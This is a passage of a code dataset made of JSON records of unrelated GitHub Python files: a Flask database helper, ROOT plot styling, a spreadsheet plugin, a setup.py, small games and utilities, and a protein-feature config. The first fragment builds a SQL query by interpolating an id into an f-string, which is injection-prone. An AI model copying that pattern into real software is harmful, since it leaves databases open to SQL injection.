cursor:\n            values = cursor.execute(f\"SELECT * from countries WHERE id = {id_}\")\n            values = cursor.fetchall()\n        connection_pool.putconn(conn)\n        return values\n    return {\"error\":\"conneting to db\"}","repo_name":"curiouscat22/flask-ex","sub_path":"api/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31631618846","text":"import ROOT\n\n#############################################\n# ROOT styles (High tau pT analysis)        #\n# Author : Alexei Raspereza (December 2022) #\n#############################################\n\neraLumiLabel = {\n    \"UL2016\" : \"2016, 36.3 fb^{-1} (13TeV)\",\n    \"UL2016_postVFP\" : \"2016 postVFP, 16.8 fb^{-1} (13 TeV)\",\n    \"UL2016_preVFP\"  : \"2016 preVFP, 19.5 fb^{-1} (13TeV)\",\n    \"UL2017\" : \"2017, 41.5 fb^{-1} (13TeV)\",\n    \"UL2018\" : \"2018, 59.8 fb^{-1} (13TeV)\"\n}\n\ndef InitROOT():\n\n    ROOT.TH1.SetDefaultSumw2(True)\n    ROOT.TH2.SetDefaultSumw2(True)\n    ROOT.gROOT.SetBatch(True)\n\n\ndef SetStyle():\n\n    HttStyle = ROOT.TStyle(\"HttStyle\",\"High pT analysis : ROOT Styles -)\")\n    ROOT.gStyle = HttStyle\n    HttStyle.SetOptStat(0000)\n    HttStyle.SetOptFit(0000)    \n\n    # Canvas\n    HttStyle.SetCanvasColor     (0)\n    HttStyle.SetCanvasBorderSize(10)\n    HttStyle.SetCanvasBorderMode(0)\n    HttStyle.SetCanvasDefH      (700)\n    HttStyle.SetCanvasDefW      (700)\n    HttStyle.SetCanvasDefX      (100)\n    HttStyle.SetCanvasDefY      (100)\n\n    # pads\n    HttStyle.SetPadColor       (0)\n    HttStyle.SetPadBorderSize  (10)\n    HttStyle.SetPadBorderMode  (0)\n    HttStyle.SetPadBottomMargin(0.15)\n    HttStyle.SetPadTopMargin   (0.08)\n    HttStyle.SetPadLeftMargin  (0.18)\n    HttStyle.SetPadRightMargin (0.05)\n    HttStyle.SetPadGridX       (0)\n    HttStyle.SetPadGridY       (0)\n    HttStyle.SetPadTickX       (1)\n    HttStyle.SetPadTickY       (1)\n\n    # Frames\n    HttStyle.SetLineWidth(3)\n    HttStyle.SetFrameFillStyle ( 0)\n    HttStyle.SetFrameFillColor ( 0)\n    HttStyle.SetFrameLineColor ( 1)\n    HttStyle.SetFrameLineStyle ( 0)\n    HttStyle.SetFrameLineWidth ( 2)\n    HttStyle.SetFrameBorderSize(10)\n    HttStyle.SetFrameBorderMode( 0)\n\n    # Histograms\n    HttStyle.SetHistFillColor(2)\n    HttStyle.SetHistFillStyle(0)\n    HttStyle.SetHistLineColor(1)\n    HttStyle.SetHistLineStyle(0)\n    HttStyle.SetHistLineWidth(3)\n    HttStyle.SetNdivisions(505)\n\n    # Functions\n    HttStyle.SetFuncColor(1)\n    HttStyle.SetFuncStyle(0)\n    HttStyle.SetFuncWidth(2)\n\n    # Various\n    HttStyle.SetMarkerStyle(20)\n    HttStyle.SetMarkerColor(ROOT.kBlack)\n    HttStyle.SetMarkerSize (1.4)\n\n    HttStyle.SetTitleBorderSize(0)\n    HttStyle.SetTitleFillColor (0)\n    HttStyle.SetTitleX         (0.2)\n\n    HttStyle.SetTitleSize  (0.055,\"X\")\n    HttStyle.SetTitleOffset(1.200,\"X\")\n    HttStyle.SetLabelOffset(0.005,\"X\")\n    HttStyle.SetLabelSize  (0.050,\"X\")\n    HttStyle.SetLabelFont  (42   ,\"X\")\n\n    HttStyle.SetStripDecimals(False)\n    HttStyle.SetLineStyleString(11,\"20 10\")\n\n    HttStyle.SetTitleSize  (0.055,\"Y\")\n    HttStyle.SetTitleOffset(1.600,\"Y\")\n    HttStyle.SetLabelOffset(0.010,\"Y\")\n    HttStyle.SetLabelSize  (0.050,\"Y\")\n    HttStyle.SetLabelFont  (42   ,\"Y\")\n\n    HttStyle.SetTextSize   (0.055)\n    HttStyle.SetTextFont   (42)\n\n    HttStyle.SetStatFont   (42)\n    HttStyle.SetTitleFont  (42)\n    HttStyle.SetTitleFont  (42,\"X\")\n    HttStyle.SetTitleFont  (42,\"Y\")\n\n    HttStyle.SetOptStat    (0)\n\n    ROOT.gStyle = HttStyle\n\ndef MakeCanvas(name,title,dX,dY):\n\n    # Create canvas\n    canvas = ROOT.TCanvas(name,title,dX,dY)\n    canvas.SetFillColor      (0)\n    canvas.SetBorderMode     (0)\n    canvas.SetBorderSize     (10)\n\n    # Set margins to reasonable defaults\n    canvas.SetLeftMargin     (0.18)\n    canvas.SetRightMargin    (0.05)\n    canvas.SetTopMargin      (0.08)\n    canvas.SetBottomMargin   (0.15)\n\n    # Setup a frame which makes sense\n    canvas.SetFrameFillStyle (0)\n    canvas.SetFrameLineStyle (0)\n    canvas.SetFrameBorderMode(0)\n    canvas.SetFrameBorderSize(10)\n    canvas.SetFrameFillStyle (0)\n    canvas.SetFrameLineStyle (0)\n    canvas.SetFrameBorderMode(0)\n    canvas.SetFrameBorderSize(10)\n  \n    return canvas\n\ndef InitModel(hist,color):\n    hist.SetFillStyle(0)\n    hist.SetLineStyle(1)\n    hist.SetLineWidth(2)\n    hist.SetLineColor(color)\n    hist.SetMarkerStyle(0)\n    hist.SetMarkerSize(0)\n    hist.SetMarkerColor(0)\n    \n\ndef InitHist(hist, xtit, ytit, color, style):\n    hist.SetXTitle(xtit)\n    hist.SetYTitle(ytit)\n    hist.SetLineColor(ROOT.kBlack)\n    hist.SetLineWidth(    2)\n    hist.SetFillColor(color )\n    hist.SetFillStyle(style )\n    hist.SetTitleSize  (0.055,\"Y\")\n    hist.SetTitleOffset(1.200,\"Y\")\n    hist.SetLabelOffset(0.014,\"Y\")\n    hist.SetLabelSize  (0.040,\"Y\")\n    hist.SetLabelFont  (42   ,\"Y\")\n    hist.SetTitleSize  (0.055,\"X\")\n    hist.SetTitleOffset(1.300,\"X\")\n    hist.SetLabelOffset(0.014,\"X\")\n    hist.SetLabelSize  (0.050,\"X\")\n    hist.SetLabelFont  (42   ,\"X\")\n    hist.SetMarkerStyle(20)\n    hist.SetMarkerColor(color)\n    hist.SetMarkerSize (0.6)\n    hist.GetYaxis().SetTitleFont(42)\n    hist.GetXaxis().SetTitleFont(42)\n    hist.SetTitle(\"\")  \n\ndef InitTotalHist(hist):\n    hist.SetFillStyle(3013);\n    hist.SetFillColor(1);\n    hist.SetMarkerStyle(21);\n    hist.SetMarkerSize(0);\n\ndef InitData(hist):\n    hist.SetMarkerStyle(20)\n    hist.SetMarkerSize(1.3)\n    hist.SetLineWidth(2)\n\ndef InitRatioHist(hist):\n    hist.GetXaxis().SetLabelOffset(0.04)\n    hist.GetXaxis().SetLabelSize(0.14)\n    hist.GetXaxis().SetTitleSize(0.13)\n    hist.GetXaxis().SetTitleOffset(1.2)\n    hist.GetYaxis().SetLabelFont(42)\n    hist.GetYaxis().SetLabelOffset(0.015)\n    hist.GetYaxis().SetLabelSize(0.13)\n    hist.GetYaxis().SetTitleSize(0.14)\n    hist.GetYaxis().SetTitleOffset(0.5)\n    hist.GetXaxis().SetTickLength(0.07)\n    hist.GetYaxis().SetTickLength(0.04)\n    hist.GetYaxis().SetLabelOffset(0.01)\n    hist.GetYaxis().SetNdivisions(505)\n\ndef SetLegendStyle(leg): \n    leg.SetFillStyle (0)\n    leg.SetFillColor (0)\n    leg.SetBorderSize(0)\n\ndef InitUpperPad(pad):\n    pad.SetFillColor(0)\n    pad.SetBorderMode(0)\n    pad.SetBorderSize(10)\n    pad.SetTickx(1)\n    pad.SetTicky(1)\n    pad.SetLeftMargin(0.17)\n    pad.SetRightMargin(0.05)\n    pad.SetBottomMargin(0.02)\n    pad.SetFrameFillStyle(0)\n    pad.SetFrameLineStyle(0)\n    pad.SetFrameLineWidth(2)\n    pad.SetFrameBorderMode(0)\n    pad.SetFrameBorderSize(10)\n    pad.SetFrameFillStyle(0)\n    pad.SetFrameLineStyle(0)\n    pad.SetFrameLineWidth(2)\n    pad.SetFrameBorderMode(0)\n    pad.SetFrameBorderSize(10)\n\ndef InitLowerPad(pad):\n    pad.SetFillColor(0)\n    pad.SetBorderMode(0)\n    pad.SetBorderSize(10)\n    pad.SetGridy()\n    pad.SetTickx(1)\n    pad.SetTicky(1)\n    pad.SetLeftMargin(0.17)\n    pad.SetRightMargin(0.05)\n    pad.SetTopMargin(0.026)\n    pad.SetBottomMargin(0.35)\n    pad.SetFrameFillStyle(0)\n    pad.SetFrameLineStyle(0)\n    pad.SetFrameLineWidth(2)\n    pad.SetFrameBorderMode(0)\n    pad.SetFrameBorderSize(10)\n    pad.SetFrameFillStyle(0)\n    pad.SetFrameLineStyle(0)\n    pad.SetFrameLineWidth(2)\n    pad.SetFrameBorderMode(0)\n    pad.SetFrameBorderSize(10)\n\ndef CMS_label(pad,**kwargs):\n\n    iPeriod = kwargs.get('Period',4)\n    iPosX = kwargs.get('PosX',33)\n    writeExtraText = kwargs.get('writeExtraText',True)\n    era = kwargs.get('era',\"UL2018\")\n    extraText = kwargs.get('extraText',\"Internal\")\n\n    lumiText = eraLumiLabel[era]\n\n    extraTextFont = 52  #\n\n    cmsText = \"CMS\"\n    cmsTextFont = 61  # default is helvetic-bold\n\n    # text sizes and text offsets with respect to the top frame\n    # in unit of the top margin size\n    lumiTextSize     = 0.6\n    lumiTextOffset   = 0.2\n    cmsTextSize      = 0.75\n    cmsTextOffset    = 0.1 # only used in outOfFrame version\n    \n    relPosX    = 0.045\n    relPosY    = 0.035\n    relExtraDY = 1.2\n\n    # ratio of \"CMS\" and extra text size\n    extraOverCmsTextSize  = 0.76\n\n    outOfFrame    = False\n    alignY_=3\n    alignX_=2\n    if iPosX/10==0: \n        alignX_=1\n    if iPosX==0:\n        alignX_=1\n    if iPosX/10==1: \n        alignX_=1\n    if iPosX/10==2: \n        alignX_=2\n    if iPosX/10==3: \n        alignX_=3\n    if iPosX == 0: \n        relPosX = 0.12\n  \n    align_ = 10*alignX_ + alignY_\n\n    H = pad.GetWh()\n    W = pad.GetWw()\n    l = pad.GetLeftMargin()\n    t = pad.GetTopMargin()\n    r = pad.GetRightMargin()\n    b = pad.GetBottomMargin()\n\n    pad.cd()\n\n    latex = ROOT.TLatex()\n    latex.SetNDC()\n    latex.SetTextAngle(0)\n    latex.SetTextColor(ROOT.kBlack)    \n\n    extraTextSize = extraOverCmsTextSize*cmsTextSize\n\n    latex.SetTextFont(42)\n    latex.SetTextAlign(31) \n    latex.SetTextSize(lumiTextSize*t)    \n    latex.DrawLatex(1-r,1-t+lumiTextOffset*t,lumiText)\n  \n    if outOfFrame:\n        latex.SetTextFont(cmsTextFont)\n        latex.SetTextAlign(11) \n        latex.SetTextSize(cmsTextSize*t)    \n        latex.DrawLatex(l,1-t+lumiTextOffset*t,cmsText)\n  \n    pad.cd()\n\n    posX_=0.\n    if iPosX%10<=1:\n        posX_ =   l + relPosX*(1-l-r)\n    if iPosX%10==2:\n        posX_ =  l + 0.5*(1-l-r)\n    if iPosX%10==3:\n        posX_ =  1-r - relPosX*(1-l-r)\n\n    posY_ = 1-t - relPosY*(1-t-b)\n\n    if not outOfFrame:\n        latex.SetTextFont(cmsTextFont)\n        latex.SetTextSize(cmsTextSize*t)\n        latex.SetTextAlign(align_)\n        latex.DrawLatex(posX_, posY_, cmsText)\n        if  writeExtraText:\n            latex.SetTextFont(extraTextFont)\n            latex.SetTextAlign(align_)\n            latex.SetTextSize(extraTextSize*t)\n            latex.DrawLatex(posX_, posY_- relExtraDY*cmsTextSize*t + 0.01, extraText)\n    elif writeExtraText:\n        if iPosX==0: \n            posX_ =   l +  relPosX*(1-l-r)\n            posY_ =   1-t+lumiTextOffset*t\n        latex.SetTextFont(extraTextFont)\n        latex.SetTextSize(extraTextSize*t)\n        latex.SetTextAlign(align_)\n        latex.DrawLatex(posX_, posY_+0.7, extraText)      \n","repo_name":"cms-tau-pog/TauFW","sub_path":"Fitter/python/HighPT/stylesHighPT.py","file_name":"stylesHighPT.py","file_ext":"py","file_size_in_byte":9454,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"10672392389","text":"from dougsheets import plugin\n\n\nclass LessThan(plugin.Plugin):\n    def removeLessThan(self, col, number):\n            newSheetObject = []\n            sheetObject = self.gui.sheetObject\n\n            for row in sheetObject:\n                if type(row[col]) == str:\n                    newSheetObject.append(row)\n                else:\n                    if int(row[col]) >= number:\n                        newSheetObject.append(row)\n\n            self.gui.sheetObject = newSheetObject\n            self.gui.update_sheet()\n\n    def LessThanAction(self, e):\n        number = self.getInput__Variable('num', \"Less-Than Filter\", \"Under what number should we filter out?\", e)\n        column = self.getInput__Column('col', \"Less-Than Filter\", \"What column should we filter from?\", e)\n\n        if number and column:\n            number = int(number)\n            self.removeLessThan(column, number)\n\n    def init(self):\n        self.createMenuItem(\n            self.gui.menu_filter,\n            \"Less Than\",\n            self.LessThanAction,\n            cli_help=\"Usage: 'less_than col=[COLUMN LETTER/NUMBER] num=[NUMBER]'\"\n        )\n\nsettings = {\n    \"class\": LessThan,\n    'name': \"Less-Than Filter\",\n}\n\n","repo_name":"DougBeney/DevSheets-Plugins","sub_path":"less_than_filter.py","file_name":"less_than_filter.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33587714305","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport codecs\nimport os\n\nfrom setuptools import setup, find_packages\n\n\nPACKAGE = \"xvistaprof\"\nNAME = \"xvistaprof\"\nDESCRIPTION = \"Astropy reader for XVISTA profile tables\"\nAUTHOR = \"Jonathan Sick\"\nAUTHOR_EMAIL = \"jonathansick@mac.com\"\nURL = \"https://github.com/jonathansick/xvistaprof/\"\nVERSION = __import__(PACKAGE).__version__\n\n\ndef read(fname):\n    return codecs.open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n\nsetup(\n    name=NAME,\n    version=VERSION,\n    description=DESCRIPTION,\n    long_description=read(\"README.rst\"),\n    author=AUTHOR,\n    author_email=AUTHOR_EMAIL,\n    license=\"BSD\",\n    url=URL,\n    packages=find_packages(exclude=[\"tests.*\", \"tests\"]),\n    classifiers=[\n            \"Development Status :: 5 - Production/Stable\",\n            \"Intended Audience :: Developers\",\n            \"Intended Audience :: Science/Research\",\n            \"License :: OSI Approved :: BSD License\",\n            \"Operating System :: OS Independent\",\n            \"Programming Language :: Python\",\n        ],\n    zip_safe=False,\n)\n","repo_name":"jonathansick/xvistaprof","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"28912206563","text":"from typing import Optional\nfrom list_node import ListNode\n\n\nclass Solution:\n    def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        prev = None\n        cur = head\n\n        while cur is not None:\n            next_node = cur.next\n            cur.next = prev\n            prev = cur\n            cur = next_node\n\n        return prev\n\n","repo_name":"ysakiyev/31github","sub_path":"neetcode_150/linked_lists/206_reverse_linked_list.py","file_name":"206_reverse_linked_list.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37577320646","text":"from pathlib import Path\nimport sys, os, venv, argparse, subprocess\n\nNO_VIRTUAL_ENV = os.getenv(\"NO_VIRTUAL_ENV\")\n\nclass Env():\n    def __init__(self, python):\n        self._python = python\n\n    @classmethod\n    def get(cls):\n        return cls(sys.executable)\n\n    @staticmethod\n    def run(*args, **kwargs):\n        print(\" \".join(args))\n        completed_process = subprocess.run(args, **kwargs)\n        completed_process.check_returncode()\n        return completed_process\n\n    def python(self, *args, **kwargs):\n        return self.run(self._python, *args, **kwargs)\n\n    def pip(self, *args, **kwargs):\n        return self.python(\"-m\", \"pip\", \"--isolated\", \"--disable-pip-version-check\", *args, **kwargs)\n\n    def setup_py(self, *args, **kwargs):\n        return self.python(\"setup.py\", *args, **kwargs)\n\n\nclass VirtualEnv(Env):\n    @classmethod\n    def get(cls):\n        return cls(sys.executable) if cls.is_venv_active() else None\n\n    @classmethod\n    def make(cls, venv_dir=\"venv\"):\n        if cls.is_venv_active():\n            print(\"Virtual Environment already active at:\")\n            print(sys.prefix, end=\"\\n\\n\")\n            env = VirtualEnv(sys.executable)\n        else:\n            venv_path = Path(venv_dir).resolve()\n            # For Python <3.10, resolve won't return an absolute path if the\n            # file/directory does not exist on Windows\n            # https://bugs.python.org/issue38671\n            if not venv_path.is_absolute():\n                venv_path = Path().resolve() / venv_path\n            print(\"Creating new Virtual Environment at:\")\n            print(venv_path, end=\"\\n\\n\")\n            # https://github.com/python/cpython/blob/38f331d4656394ae0f425568e26790ace778e076/Lib/venv/__init__.py#L476-L479\n            if os.name == 'nt':\n                use_symlinks = False\n            else:\n                use_symlinks = True\n            builder = venv.EnvBuilder(system_site_packages=False,\n                                      clear=False,\n                                      symlinks=use_symlinks,\n                                      upgrade=False,\n                                      with_pip=True,\n                                      prompt=None,\n                                      upgrade_deps=False\n            )\n            context = builder.ensure_directories(venv_path)\n            builder.create(venv_path)\n            env = VirtualEnv(context.env_exec_cmd)\n\n        return env\n\n    @classmethod\n    def is_venv_active(self):\n        return sys.prefix != sys.base_prefix\n\ndef use_virtual_env():\n    return not NO_VIRTUAL_ENV\n\nclass DecoratedArgParse():\n    def __init__(self, *args, **kwargs):\n        self.arg_parser = argparse.ArgumentParser(*args, **kwargs)\n        self.arg_parser.error = self.error #Provide our own error function\n        self._subparsers = None\n\n    @property\n    def subparsers(self):\n        if self._subparsers is None:\n            self._subparsers = self.arg_parser.add_subparsers(\n                title=\"Available Commands\",\n                required=True,\n                metavar=\"\"\n            )\n        return self._subparsers\n\n    def make_subparsers(self, *args, **kwargs):\n        self._subparsers = self.arg_parser.add_subparsers(*args, **kwargs)\n\n    def parse_args(self, args=None):\n        return self.arg_parser.parse_args(args)\n\n    def parser(self, *args, **kwargs):\n        def decorator(f):\n            parser_args, parser_kwargs = self.check_params((args, kwargs))\n            parser = self.subparsers.add_parser(f.__name__.lower().replace(\"_\", \"-\"), *parser_args, **parser_kwargs)\n            if hasattr(f, \"__argparse_params__\"):\n                for params in f.__argparse_params__:\n                    parser_args, parser_kwargs = params\n                    parser.add_argument(*parser_args, **parser_kwargs)\n                del f.__argparse_params__\n            parser.set_defaults(func=f)\n            return f\n        return decorator\n\n    def argument(self, *args, **kwargs):\n        def decorator(f):\n            params = (args, kwargs)\n            if not hasattr(f, \"__argparse_params__\"):\n                f.__argparse_params__ = []\n            f.__argparse_params__.append(params)\n            return f\n        return decorator\n\n    @staticmethod\n    def check_params(params):\n        args, kwargs = params\n        help_desc = kwargs.pop(\"help_desc\", None)\n        if help_desc is not None:\n            kwargs[\"help\"] = help_desc\n            kwargs[\"description\"] = help_desc\n        return (args, kwargs)\n\n    def error(self, message):\n        \"\"\"error(message: string)\n        Prints a usage message incorporating the message to stderr,\n        followed by the help message, and then exits.\n        If you override this in a subclass, it should not return -- it\n        should either exit or raise an exception.\n        \"\"\"\n        sys.stderr.write(f\"error: {message}\\n\")\n        self.arg_parser.print_help(sys.stderr)\n        sys.exit(2)\n\ndef monopoly_probabilities_dir():\n    return Path(__file__).parents[2].resolve()\n","repo_name":"dunkmann00/Monopoly-Probabilities","sub_path":"scripts/scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"33731387122","text":"BLACK = '\\033[30m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nRED = '\\033[31m'\nBLUE = '\\033[34m'\nFAIL = '\\033[91m'\nENDC = '\\033[0m'\nBOLD = '\\033[1m'\nITALIC = '\\033[3m'\nSTRIKE = '\\033[29m'\nUNDERLINE = '\\033[4m'\n\n# --------------------------\n_VERSION = \"DEV_1.7\"\n_AUTHOR = \"Mondei1\"\n# --------------------------\n\n# scan.py will set this value to TRUE when it start's the scan\ninScan = False\n\n# If phase 1 is skipped with CTRL+C\nskipped = False\n\n# These files cannot be scan because the program hasn't permissions to access the file :c\nskipped_files = []\n\n# How many files are founded\nall_files = 0\n# How many files already scanned\nfiles_scanned = 0\n# Founded files\nfounded = []\n# --------------------------\n# Founded dir's\ndirs = []\n# How many dir's already scanned\ndirs_scanned = 0\n# How many dir's exists\ndirs_total = 0\n# --------------------------\n# Founded text lines (/path/to/file.txt (in line 34), ...)\ntexts = []\n# How many words are readed\nwords_readed = 0\n# How many words exists\nwords_total = 0\n# --------------------------\n# This blacklist is for files, where the program can't calculate the MD5 hash!\nblacklist = [ \"steam.pipe\" ]\n# --------------------------\n# The program will ignore these files/folders\nignore_Files = []\nignore_Folders = []","repo_name":"Mondei1/FileFinder","sub_path":"lib/var.py","file_name":"var.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"1822058534","text":"class Point():\n    def __init__(self, x_val, y_val):\n        self.x_coord = x_val\n        self.y_coord = y_val\n    \n    def move(self, dx, dy):\n        self.x_coord += dx\n        self.y_coord += dy\n    \n    def __str__(self):\n        return \"( \" + str(self.x_coord) + \", \" + str(self.y_coord) + \" )\"\n        \n    def multi(self, mn):\n        self.x_coord *= mn\n        self.y_coord *= mn\n        \n# p1 = Point(0,0)\n# print(p1)\n# p1.move(1,1)\n# print(p1)\n# p1.multi(3)\n# print(p1)\n\nclass Des():\n    def __init__(self, question, answer):\n        self.question = question\n        self.answer_list = answer\n        self.connections = []\n        self.connection = None\n        \n    def make_choice(self):\n        print (self.question)\n        choice = input(str(self.answer_list))\n        while choice not in self.answer_list:\n            print(\"Invalid Answer\")\n            choice = input(str(self.answer_list))\n        if choice == self.answer_list[0]:\n            self.connection = self.connections[0]\n        if choice == self.answer_list[1]:\n            self.connection = self.connections[1]\n        \n        return self.connection\n\n    def connectAndPick(self, con1, con2):\n        self.connections.append(con1)\n        self.connections.append(con2)\n        \n\nstart = Des(\"Left or right?\", [\"left\", \"right\"])\nleft = Des(\"You find a mason. Claim the manson?\", [\"yes\", \"no\"])\nright = Des(\"You find a fire place. Go inside the fire?\", [\"go in\", \"stay out\"])\nfireplace = Des(\"You see a fairy, follow her?\", [\"follow\", \"don't follow\"])\nfollow = Des(\"You find a fairy viilage. Do you party with them?\", ['party', 'don\\'t party'])\nclaim = Des(\"You claim the manson. Do the paperwork?\", ['yes','no'])\ninside = Des(\"You don\\'t claim the mason. Go inside the manson?\", ['yes','no'])\nsteal = Des(\"You steal some stuff. Run away or stay and get more stuff?\", [\"run\", \"stay\"])\nstay = Des(\"Stay inside and wait. The owner returns, talk to them or no?\", ['talk', 'run'])\nvillage = Des(\"You find a village. Stay or no?\", [\"stay\", \"leave\"])\n\nstart.connectAndPick(left, right)\nleft.connectAndPick(claim, inside)  \nright.connectAndPick(fireplace, \"You freez to death due to the cold.\")\nfireplace.connectAndPick(follow, \"Get killed by angry fairies.\")\nfollow.connectAndPick(village, \"You get killed out into the cold and die.\")\ninside.connectAndPick(steal, stay)\nclaim.connectAndPick(\"You do the paperwork and get a free mason.\", \"You don/'t do the paperwork and get sued and jailed by the real owner.\")\nsteal.connectAndPick(\"You get away with /$5000.\", \"You get caught and fined and go into debt.\")\nstay.connectAndPick(\"You two become friends and you become rich.\", \"You get jailed as a trespasser.\")\nvillage.connectAndPick(\"You live forever with the fairies\", \"You leave in two pieces(aka dead~).\")\n\ncurrent = start\nwhile type(current) is not str:\n    current = current.make_choice()\nprint(current)\n    \n    ","repo_name":"chinguyen7/text-adventer","sub_path":"TextBasedAdvente.py","file_name":"TextBasedAdvente.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42025442774","text":"#!/bin/python3 -tt\n\n# Author: Fº Javier Gutierrez-Maturana Sanchez\n# \n# Description: This program play bingo, \n# each player has only one cartoon.\n\nimport random\nfrom Carton import Carton\n\nMAX_NUMBERS = 5\nMAX_VALUE = 90\nMAX_LINES = 3\nNUMBERS_LIST = tuple(range(1, MAX_VALUE + 1))\n\ndef main():\n    cartoons = []\n\n    cartoons.append(Carton(MAX_LINES, MAX_NUMBERS, MAX_VALUE))\n    cartoons.append(Carton(MAX_LINES, MAX_NUMBERS, MAX_VALUE))\n    cartoons.append(Carton(MAX_LINES, MAX_NUMBERS, MAX_VALUE))\n    cartoons.append(Carton(MAX_LINES, MAX_NUMBERS, MAX_VALUE))\n\n    # print(\"Bingo numbers!\\n{}\".format(NUMBERS_LIST))\n\n    # print(\"---- Show perfects Cartoons ----\")\n    # for i in range(len(cartoons)):\n    #    print (\"Carton {}\".format(i))\n    #    cartoons[i].debug_cartoon(0)\n    # print(\"--------------------------------\")\n\n    bingo = False\n    winner = -1\n    while not bingo:\n        number = random.randint(1, MAX_VALUE)\n        # print (\"Number! {}\".format(number))\n        for player in range(len(cartoons)):\n            cartoons[player].markNumber(number)\n\n            if cartoons[player].hasLine():\n               print(\"Player {} Line!\".format(player))\n\n            if cartoons[player].hasBingo():\n                winner = player\n                bingo = True\n                break # Only one winner\n\n    if winner >= 0:\n        print(\"Game finish Bingo! Player {}\".format(winner))\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"jgmatu/Bingo","sub_path":"Bingo.py","file_name":"Bingo.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"45677806235","text":"\"\"\"Configuration for Input Feature Generation\r\n\"\"\"\r\nfrom __future__ import annotations\r\n\r\nfrom enum import Enum\r\nfrom typing import NamedTuple, List, Tuple, Union, Optional\r\nimport numpy as np \r\nfrom protein_learning.common.protein_constants import AA_ALPHABET\r\nfrom protein_learning.features.constants import SMALL_SEP_BINS, DEFAULT_PW_DIST_RADII\r\n\r\n\r\nclass FeatureDescriptor(NamedTuple):\r\n    \"\"\"Descriptor for a given feature\"\"\"\r\n    name: FeatureName\r\n    ty: FeatureTy\r\n    encode_dim: int\r\n    embed_dim: int\r\n    embed_tys: List[FeatureEmbeddingTy]\r\n    # Optional - for embeddings\r\n    mult: Optional[int] = 1\r\n    rbf_sigma: Optional[float] = 4\r\n    rbf_radii: Optional[List[float]] = None\r\n    n_fourier_feats: Optional[int] = None\r\n\r\n\r\nclass InputFeatureConfig(NamedTuple):\r\n    \"\"\"Config Input Features\"\"\"\r\n    # Global settings\r\n    # pad embeddings with an extra bin (n_classes+1) - can be used\r\n    # in conjunction with sequence or coordinate masking, e.g.\r\n    pad_embeddings: bool = False\r\n    # add noise to one hot encodings?\r\n    one_hot_noise_sigma: float = 0  # set>0 to have this amount of random noise added\r\n\r\n    # Residue Type (SCALAR)\r\n    embed_res_ty: bool = False\r\n    one_hot_res_ty: bool = False\r\n    res_ty_embed_dim: int = 32\r\n    res_ty_corrupt_prob: float = 0\r\n\r\n    # Residue Relative Position (SCALAR)\r\n    embed_res_rel_pos: bool = False\r\n    one_hot_res_rel_pos: bool = False\r\n    res_rel_pos_embed_dim: int = 6\r\n    res_rel_pos_encode_dim: int = 10\r\n\r\n    # BB Dihedral (SCALAR)\r\n    embed_bb_dihedral: bool = False\r\n    one_hot_bb_dihedral: bool = False\r\n    fourier_encode_bb_dihedral: bool = False\r\n    bb_dihedral_embed_dim: int = 6\r\n    bb_dihedral_encode_dim: int = 36\r\n    n_bb_dihedral_fourier_feats: int = 2\r\n\r\n    # SC Dihedral (SCALAR)\r\n    include_sc_dihedral: bool = False\r\n    sc_dihedral_noise: List[float] = [0,0]\r\n\r\n    # Centrality (SCALAR)\r\n    embed_centrality: bool = False\r\n    one_hot_centrality: bool = False\r\n    rbf_encode_centrality: bool = False\r\n    centrality_encode_dim: int = 6\r\n    centrality_embed_dim: int = 6\r\n    centrality_rbf_radii: List[float] = [6, 12, 18, 24, 30, 36]\r\n\r\n    # Secondary Structure\r\n    embed_sec_struct: bool = False\r\n    sec_struct_embed_dim: int = 16\r\n\r\n    # Relative Separation (PAIR)\r\n    embed_rel_sep: bool = False\r\n    one_hot_rel_sep: bool = False\r\n    rel_sep_embed_dim: int = 32\r\n    rel_sep_encode_bins: List[int] = SMALL_SEP_BINS\r\n\r\n    # Relative Distance (PAIR)\r\n    embed_rel_dist: bool = False\r\n    one_hot_rel_dist: bool = False\r\n    rbf_encode_rel_distance: bool = False\r\n    rel_dist_embed_dim: int = 16\r\n    rel_dist_encode_dim: int = 32\r\n    rel_dist_bounds: Tuple[float, float] = (2.5, 16.5)\r\n    rel_dist_rbf_radii: List[float] = DEFAULT_PW_DIST_RADII\r\n    rel_dist_atom_tys: List[str] = [\"CA\", \"CA\", \"N\", \"CA\"]\r\n\r\n    # trRosetta Orientation (PAIR)\r\n    embed_tr_rosetta_ori: bool = False\r\n    one_hot_tr_rosetta_ori: bool = False\r\n    fourier_encode_tr_rosetta_ori: bool = False\r\n    tr_rosetta_ori_embed_dim: int = 6\r\n    tr_rosetta_ori_encode_dim: int = 36\r\n    tr_rosetta_fourier_feats: int = 2\r\n\r\n    # Joint Embedding for Pair and Sep (PAIR)\r\n    joint_embed_res_pair_rel_sep: bool = False\r\n    joint_embed_res_pair_rel_sep_embed_dim: int = 48\r\n\r\n    # Invariant relative orientation features\r\n    quat_encode_rel_ori: bool = False\r\n    encode_local_rel_coords: bool = False\r\n\r\n    # relative chain embedding\r\n    one_hot_rel_chain: bool = False\r\n\r\n    # Extra\r\n    extra_residue_dim: int = 